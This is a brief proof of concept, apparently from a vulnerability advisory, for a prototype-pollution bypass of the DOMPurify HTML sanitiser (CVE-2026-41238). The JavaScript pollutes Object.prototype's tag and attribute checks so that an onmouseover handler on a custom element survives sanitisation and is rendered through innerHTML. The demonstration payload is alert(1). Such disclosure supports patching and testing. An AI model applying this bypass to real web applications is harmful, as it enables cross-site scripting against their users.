CVE-2026-41238 DOMPurify原型污染致XSS绕过漏洞

// Step 1: Simulate Prototype Pollution // Attackers inject these regex values into Object.prototype via another gadget Object.prototype.tagNameCheck = /.*/; Object.prototype.attributeNameCheck = /.*/; // Step 2: Create DOMPurify instance const clean = DOMPurify.sanitize; // Step 3: Malicious payload containing custom element and event handler const dirty = '<my-custom-element onmouseover="alert(1)">XSS</my-custom-element>'; // Step 4: Sanitize // Due to pollution, the checks pass and the event handler is not stripped const sanitized = clean(dirty); // Step 5: Render the payload document.body.innerHTML = sanitized;